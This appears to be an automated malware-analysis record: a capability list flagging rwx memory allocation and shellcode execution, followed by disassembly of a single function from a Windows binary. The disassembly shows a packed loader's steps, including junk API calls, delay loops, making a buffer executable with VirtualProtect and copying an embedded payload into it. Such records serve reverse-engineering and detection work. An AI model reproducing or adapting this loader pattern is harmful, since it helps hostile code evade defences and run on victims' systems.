Function at 0x401310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0xc27060]
sub esp, 0x4ac
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x4013b2
lea eax, [esp + 0xc]
push eax
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x27]
push edx
push 0
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_BackupRead]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.dudaduma
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
call fcn.00401ace
push 0
push 0
call fcn.0040196e
add esp, 0xc
push 0
call fcn.00401d84
add eax, 0x1134b
push eax
push 0
mov dword [0xc27060], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0xc27060]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov dword [0xc25fb4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x4013fb
lea eax, [esp + 0xb8]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x4013e7
xor esi, esi
cmp dword [0xc27060], esi
jbe 0x401457
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0xc27064]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0xc25fb4]
mov byte [eax + esi], dl
cmp dword [0xc27060], 0xa8
jne 0x40144e
push 0
push 0
call edi
lea ecx, [esp + 0x20]
push ecx
call ebx
inc esi
cmp esi, dword [0xc27060]
jb 0x401420
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
xor eax, eax
mov dword [esp + 0xc], eax
mov edx, dword [0xc27060]
add edx, eax
cmp edx, 0xe
jne 0x4014c3
push 0
push 0
push str.namaxugu
call esi
push str.vovufizifibonetebow_sef_cewuzigo
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x39621
mov dword [esp + 0xc], eax
jl 0x40146f
call fcn.004011f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x26
jne 0x4014ec
call fcn.004012f0
inc esi
cmp esi, 0x6753f
jl 0x4014e0
mov esi, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov ebx, 0x7b
jmp 0x401510
cmp dword [0xc27060], 0x86
jne 0x401522
push 0
push 0
call esi
cmp dword [0xc27060], 0xf
jne 0x401536
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
call edi
sub ebx, 1
jne 0x401510
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret